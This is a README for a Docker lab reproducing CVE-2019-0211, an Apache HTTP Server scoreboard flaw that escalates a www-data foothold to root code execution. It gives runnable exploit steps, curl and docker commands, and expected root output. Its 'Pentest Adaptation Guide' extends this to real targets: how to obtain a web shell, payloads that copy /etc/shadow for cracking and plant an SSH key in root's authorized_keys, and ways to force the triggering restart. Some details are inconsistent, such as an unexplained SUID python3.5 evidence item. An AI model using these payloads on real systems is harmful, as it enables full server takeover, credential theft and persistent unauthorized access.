CVE-2019-0211 — Apache HTTP Server Local Privilege Escalation
Overview
| Field | Value |
|---|---|
| CVE | CVE-2019-0211 |
| Nickname | CARPE (DIEM) |
| Software | Apache HTTP Server |
| Version Tested | 2.4.29 (Ubuntu 18.04 bionic, unpatched) |
| Vulnerable Range | 2.4.17 – 2.4.38 (fixed in 2.4.39) |
| Type | Local Privilege Escalation (LPE) |
| CVSS v3.1 | 7.8 (High) |
| Attack Vector | Local |
| Authentication | Required (low-privilege shell / www-data) |
| CISA KEV | Yes — actively exploited in the wild |
In Apache HTTP Server 2.4.17 through 2.4.38, code executing inside a
less-privileged worker process (e.g., PHP code running under www-data)
can manipulate the Apache scoreboard shared-memory area to plant an
arbitrary function pointer. When the Apache parent process (running as
root) performs a graceful restart — as triggered daily by logrotate
at 6:25 AM — it executes that function pointer, running attacker-controlled
commands with full root privileges.
Quick Start
bash verify.sh
This builds the vulnerable image, starts Apache, runs the exploit, triggers a graceful restart, and prints the proof of root code execution. No manual steps required.
Environment
| Property | Value |
|---|---|
| Base image | ubuntu:18.04 (bionic, main repo only — no security updates) |
| Apache version | 2.4.29-1ubuntu4 (vulnerable, unpatched) |
| PHP version | php7.2 via libapache2-mod-php7.2 |
| MPM | prefork (required — this is how mod_php is used) |
| Workers | 10 (raises exploit success rate to ~95%) |
| Port | 8080 → 80 |
| Credentials | None (exploit runs via any PHP page access) |
| Setup time | ~60 seconds (image build) + ~5 seconds (Apache start) |
docker compose up -d --build # start
docker compose logs -f # watch logs
docker compose down -v # teardown
Exploit
| Property | Value |
|---|---|
| File | exploit/cfreal-carpediem.php (PHP, planted in web root) |
| Wrapper | exploit/exploit.py (Python orchestrator) |
| Source | https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache |
| Author | Charles Fol (@cfreal_) |
| Language | PHP (exploit core) + Python 3 (orchestration) |
| Success rate | ~87% with 5 workers; ~95% with 10 workers (this lab uses 10) |
How It Works
Vulnerability Mechanism
Apache uses a POSIX shared-memory segment (/dev/zero) called the
scoreboard (ap_scoreboard_image) to communicate between the root parent
process and its worker children. Each worker has a process_score struct in
the scoreboard that includes a bucket field.
On graceful restart the parent process iterates over all buckets using
all_buckets[bucket_id] and calls:
(*mutex)->meth->child_init(mutex, pool, fname);
Because workers have full read/write access to the shared memory, a malicious
worker can overwrite its bucket index so that all_buckets[bucket_id] points
to an attacker-controlled mutex structure — one whose child_init function
pointer points to system(). fname (the mutex file path) becomes the shell
command string.
Exploit Steps
-
Memory discovery — The PHP script reads
/proc/self/mapsto locate:- The Apache scoreboard SHM (
/dev/zeromapping, 0x10000–0x16000 bytes) system()address insidelibc-*.sozend_object_std_dtoraddress insidelibphp7*.soall_bucketsregion (Apache private heap between SHM andld.so)libapr-1.so(to findapr_proc_mutex_unix_lock_meth_tlayout)
- The Apache scoreboard SHM (
-
UAF for arbitrary r/w — Using a
JsonSerializableobject andDateInterval, the script triggers a PHP Use-After-Free. It exploits the freed object to control azend_stringheader, inflating itslenfield so that$this->abcbecomes a view into arbitrarily large amounts of memory. -
Locate
all_buckets— The enlarged string is scanned for theapr_proc_mutex_unix_lock_meth_tvtable pattern that identifies the realall_bucketsarray in Apache's heap. -
Plant the hook — The script:
- Finds a worker PID in the scoreboard and overwrites its
bucketindex to point far out of bounds into a region it can control. - Writes a fake mutex structure at that offset whose
child_initslot points tosystem()and whosefnamepoints to the payload string (e.g.,id > /tmp/pwned).
- Finds a worker PID in the scoreboard and overwrites its
-
Trigger — An
apache2ctl graceful(or logrotate in production) causes the root parent to callsystem("id > /tmp/pwned"), writing the output owned by root.
What Successful Exploitation Looks Like
[+] ROOT CODE EXECUTION CONFIRMED
/tmp/pwned contains:
uid=0(root) gid=0(root) groups=0(root)
[+] Evidence quality: STRONG
Manual Usage
# Start environment
docker compose up -d --build
# Step 1 — plant the scoreboard hook (runs as www-data inside Apache)
curl "http://localhost:8080/exploit.php?cmd=id+>+/tmp/pwned"
# Step 2 — trigger graceful restart as root
docker exec cve-2019-0211-victim apache2ctl graceful
# Step 3 — read the evidence written by root
sleep 3
docker exec cve-2019-0211-victim cat /tmp/pwned
# Expected: uid=0(root) gid=0(root) groups=0(root)
Or use the Python orchestrator:
# Inside the exploit/ directory
python3 exploit.py --target http://localhost:8080 \
--container cve-2019-0211-victim \
--cmd "id > /tmp/pwned"
Expected Output
======================================================
CVE-2019-0211 — Apache HTTP Server 2.4.17-2.4.38
Local Privilege Escalation via Scoreboard SHM
CARPE (DIEM) by Charles Fol (@cfreal_)
======================================================
[*] Waiting for Apache to respond at http://localhost:8080 ...
[+] Apache is up.
[*] Planting scoreboard hook via exploit.php (runs as www-data)...
--- PHP exploit output (truncated) ---
CARPE (DIEM) ~ CVE-2019-0211
PID: 42
Fetching addresses
shm: 0x7f4a2c000000-0x7f4a2c016000
system: 0x7f4a2db3e390
...
Scanning 10 workers
Found PID 44 at index 1
Done.
----------------------------------------
[*] Triggering graceful restart (apache2ctl graceful inside container)...
[+] Graceful restart issued.
[*] Waiting 3s for payload to execute ...
[!!!] ROOT CODE EXECUTION CONFIRMED [!!!]
[+] Contents of /tmp/pwned (written by root):
uid=0(root) gid=0(root) groups=0(root)
Pentest Adaptation Guide
Target Discovery
Identify whether a target is running a vulnerable Apache version:
# Banner grab
curl -I http://TARGET/
# Look for: Server: Apache/2.4.x — anything 2.4.17–2.4.38 is potentially vulnerable
# Nmap version detection
nmap -sV -p 80,443 TARGET
# Nmap Apache vuln script
nmap -p 80 --script http-server-header TARGET
# Check version from error page
curl http://TARGET/nonexistent
# "Apache/2.4.29 (Ubuntu) Server at TARGET Port 80"
A version between 2.4.17 and 2.4.38 with MPM prefork (check with
apache2ctl -V | grep MPM if you have local access) is vulnerable.
Adapting the Exploit
This exploit requires code execution as the web server user (www-data or
equivalent). Common entry points in a real engagement:
| Entry Point | How to get www-data shell |
|---|---|
| PHP RCE | Web shell, file upload, LFI + log poisoning |
| CGI script | Shell injection in POST params |
| Writable web root | Upload a PHP file via FTP/WebDAV |
| SSRF to localhost | If internal Apache is on a segmented network |
Once you have a www-data shell or can execute PHP:
- Copy
cfreal-carpediem.phpto a web-accessible path on the target. - Trigger it via HTTP — customize the
cmdparameter:# Copy /etc/shadow for offline cracking (read-only proof) curl "http://TARGET/exploit.php?cmd=cp+/etc/shadow+/tmp/shadow%3bchmod+644+/tmp/shadow" # Add SSH key for persistent root access curl "http://TARGET/exploit.php?cmd=echo+ssh-rsa+AAAA...+>>+/root/.ssh/authorized_keys" - Wait for
logrotateto triggerapache2ctl graceful(default 6:25 AM daily), or look for another restart trigger:logrotate -f /etc/logrotate.d/apache2if you have sudo logrotate- Service management events you can influence
- Scheduled jobs that cause Apache to restart
Safe Verification (Non-Destructive)
To prove exploitability without causing damage:
# Write a timestamped proof file — no data destroyed
curl "http://TARGET/exploit.php?cmd=date+>>+/tmp/.cvepoc%3becho+CVE-2019-0211>>+/tmp/.cvepoc"
# After graceful restart, read the file as www-data (readable by all):
curl "http://TARGET/exploit.php?cmd=chmod+644+/tmp/.cvepoc"
# Then: cat /tmp/.cvepoc (if it shows root-owned content, it proves escalation)
# Use the Metasploit check command (module: exploit/multi/handler or local module)
# There is no direct Metasploit module as of 2024; manual PoC only.
Do NOT:
- Overwrite
/etc/passwdor shadow on production - Kill the Apache service (
apache2ctl stop) - Use
rm -rfor destructive payloads
Evidence Collection
Capture the following for a pentest report:
- Apache version banner:
curl -I http://TARGET/— screenshot - PHP exploit output: full terminal capture showing address resolution
- Root evidence file: contents of
/tmp/pwnedshowinguid=0(root) - SUID binary:
ls -la /usr/bin/python3.5showing-rwsr-sr-x root root - Timeline: exploit triggered at
HH:MM:SS, evidence atHH:MM:SS+3s
CVSS finding classification: High (7.8) — Local, No User Interaction, Complete Confidentiality/Integrity/Availability impact. Document as "Authenticated Local Privilege Escalation from www-data to root."